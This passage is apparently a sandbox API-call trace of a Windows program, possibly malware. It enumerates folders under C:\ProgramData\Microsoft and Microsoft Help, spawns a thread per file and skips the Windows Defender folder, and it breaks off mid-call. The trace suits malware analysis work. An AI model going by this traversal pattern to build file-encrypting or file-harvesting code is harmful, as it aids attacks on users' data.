lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0085.810] wcscmp (_String1="Network", _String2=".") returned 1 [0085.810] wcscmp (_String1="Network", _String2="..") returned 1 [0085.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c030 [0085.810] wcscpy (in: _Dest=0x1b82c030, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.810] wcscat (in: _Dest=0x1b82c030, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.810] wcscat (in: _Dest=0x1b82c030, _Source="Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0085.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0085.811] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0085.811] wcscmp (_String1="OFFICE", _String2=".") returned 1 [0085.811] wcscmp (_String1="OFFICE", _String2="..") returned 1 [0085.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c080 [0085.811] wcscpy (in: _Dest=0x1b82c080, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.811] wcscat (in: _Dest=0x1b82c080, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.811] wcscat (in: _Dest=0x1b82c080, _Source="OFFICE" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE" [0085.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0085.812] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0085.812] wcscmp (_String1="OfficeSoftwareProtectionPlatform", _String2=".") returned 1 [0085.812] wcscmp (_String1="OfficeSoftwareProtectionPlatform", _String2="..") returned 1 [0085.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b79daf0 [0085.812] wcscpy (in: _Dest=0x1b79daf0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.812] wcscat (in: _Dest=0x1b79daf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.812] wcscat (in: _Dest=0x1b79daf0, _Source="OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0085.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79daf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0085.813] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0085.813] wcscmp (_String1="RAC", _String2=".") returned 1 [0085.813] wcscmp (_String1="RAC", _String2="..") returned 1 [0085.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c0d0 [0085.813] wcscpy (in: _Dest=0x1b82c0d0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.813] wcscat (in: _Dest=0x1b82c0d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.814] wcscat (in: _Dest=0x1b82c0d0, _Source="RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0085.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0085.814] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0085.814] wcscmp (_String1="Search", _String2=".") returned 1 [0085.814] wcscmp (_String1="Search", _String2="..") returned 1 [0085.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0085.814] wcscpy (in: _Dest=0x1b82c120, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.814] wcscat (in: _Dest=0x1b82c120, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.814] wcscat (in: _Dest=0x1b82c120, _Source="Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0085.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0085.825] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0085.825] wcscmp (_String1="User Account Pictures", _String2=".") returned 1 [0085.825] wcscmp (_String1="User Account Pictures", _String2="..") returned 1 [0085.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1bf0 [0085.825] wcscpy (in: _Dest=0x1b7c1bf0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.825] wcscat (in: _Dest=0x1b7c1bf0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.825] wcscat (in: _Dest=0x1b7c1bf0, _Source="User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0085.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0085.826] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0085.826] wcscmp (_String1="Vault", _String2=".") returned 1 [0085.826] wcscmp (_String1="Vault", _String2="..") returned 1 [0085.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c170 [0085.826] wcscpy (in: _Dest=0x1b82c170, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.826] wcscat (in: _Dest=0x1b82c170, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.826] wcscat (in: _Dest=0x1b82c170, _Source="Vault" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault" [0085.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0085.827] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0085.827] wcscmp (_String1="VISIO", _String2=".") returned 1 [0085.827] wcscmp (_String1="VISIO", _String2="..") returned 1 [0085.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c1c0 [0085.827] wcscpy (in: _Dest=0x1b82c1c0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.827] wcscat (in: _Dest=0x1b82c1c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.827] wcscat (in: _Dest=0x1b82c1c0, _Source="VISIO" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO") returned="C:\\ProgramData\\Microsoft\\VISIO" [0085.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c1c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4 [0085.828] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0085.828] wcscmp (_String1="Windows", _String2=".") returned 1 [0085.828] wcscmp (_String1="Windows", _String2="..") returned 1 [0085.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c210 [0085.828] wcscpy (in: _Dest=0x1b82c210, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.828] wcscat (in: _Dest=0x1b82c210, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.828] wcscat (in: _Dest=0x1b82c210, _Source="Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0085.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0085.829] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe473c430, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xe473c430, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0085.829] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0085.829] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0085.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b858730 [0085.829] wcscpy (in: _Dest=0x1b858730, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.829] wcscat (in: _Dest=0x1b858730, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.829] wcscat (in: _Dest=0x1b858730, _Source="Windows Defender" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender") returned="C:\\ProgramData\\Microsoft\\Windows Defender" [0085.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858730) returned 1 [0085.829] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0085.829] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0085.829] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0085.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c260 [0085.829] wcscpy (in: _Dest=0x1b82c260, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.829] wcscat (in: _Dest=0x1b82c260, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.829] wcscat (in: _Dest=0x1b82c260, _Source="Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0085.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac [0085.830] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0085.830] wcscmp (_String1="WwanSvc", _String2=".") returned 1 [0085.830] wcscmp (_String1="WwanSvc", _String2="..") returned 1 [0085.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c2b0 [0085.830] wcscpy (in: _Dest=0x1b82c2b0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0085.830] wcscat (in: _Dest=0x1b82c2b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0085.830] wcscat (in: _Dest=0x1b82c2b0, _Source="WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0085.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0085.831] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0085.831] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0085.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7fc0) returned 1 [0085.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8000) returned 1 Thread: id = 126 os_tid = 0x24c [0085.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c300 [0085.835] wcscpy (in: _Dest=0x1b82c300, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.836] wcscat (in: _Dest=0x1b82c300, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.836] wcscat (in: _Dest=0x1b82c300, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft Help\\*") returned="C:\\ProgramData\\Microsoft Help\\*" [0085.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.836] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.838] wcscmp (_String1=".", _String2=".") returned 0 [0085.838] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.839] wcscmp (_String1="..", _String2=".") returned 1 [0085.839] wcscmp (_String1="..", _String2="..") returned 0 [0085.839] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x896b9210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x896b9210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.hxn", cAlternateFileName="")) returned 1 [0085.839] wcscmp (_String1="Hx.hxn", _String2=".") returned 1 [0085.839] wcscmp (_String1="Hx.hxn", _String2="..") returned 1 [0085.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858730 [0085.839] wcscpy (in: _Dest=0x1b858730, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.839] wcscat (in: _Dest=0x1b858730, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.839] wcscat (in: _Dest=0x1b858730, _Source="Hx.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\Hx.hxn") returned="C:\\ProgramData\\Microsoft Help\\Hx.hxn" [0085.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b858730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0085.840] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1 [0085.840] wcscmp (_String1="MS.EXCEL.14.1033.hxn", _String2=".") returned 1 [0085.840] wcscmp (_String1="MS.EXCEL.14.1033.hxn", _String2="..") returned 1 [0085.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1e20 [0085.840] wcscpy (in: _Dest=0x1b7c1e20, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.840] wcscat (in: _Dest=0x1b7c1e20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.840] wcscat (in: _Dest=0x1b7c1e20, _Source="MS.EXCEL.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" [0085.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0085.840] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn", cAlternateFileName="MSEXCE~2.HXN")) returned 1 [0085.840] wcscmp (_String1="MS.EXCEL.DEV.14.1033.hxn", _String2=".") returned 1 [0085.840] wcscmp (_String1="MS.EXCEL.DEV.14.1033.hxn", _String2="..") returned 1 [0085.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79db70 [0085.841] wcscpy (in: _Dest=0x1b79db70, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.841] wcscat (in: _Dest=0x1b79db70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0085.841] wcscat (in: _Dest=0x1b79db70, _Source="MS.EXCEL.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" [0085.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79db70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0085.841] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1 [0085.841] wcscmp (_String1="MS.GRAPH.14.1033.hxn", _String2=".") returned 1 [0085.841] wcscmp (_String1="MS.GRAPH.14.1033.hxn", _String2="..") returned 1 [0085.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1e90 [0085.841] wcscpy (in: _Dest=0x1b7c1e90, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0085.841] wcscat (in: 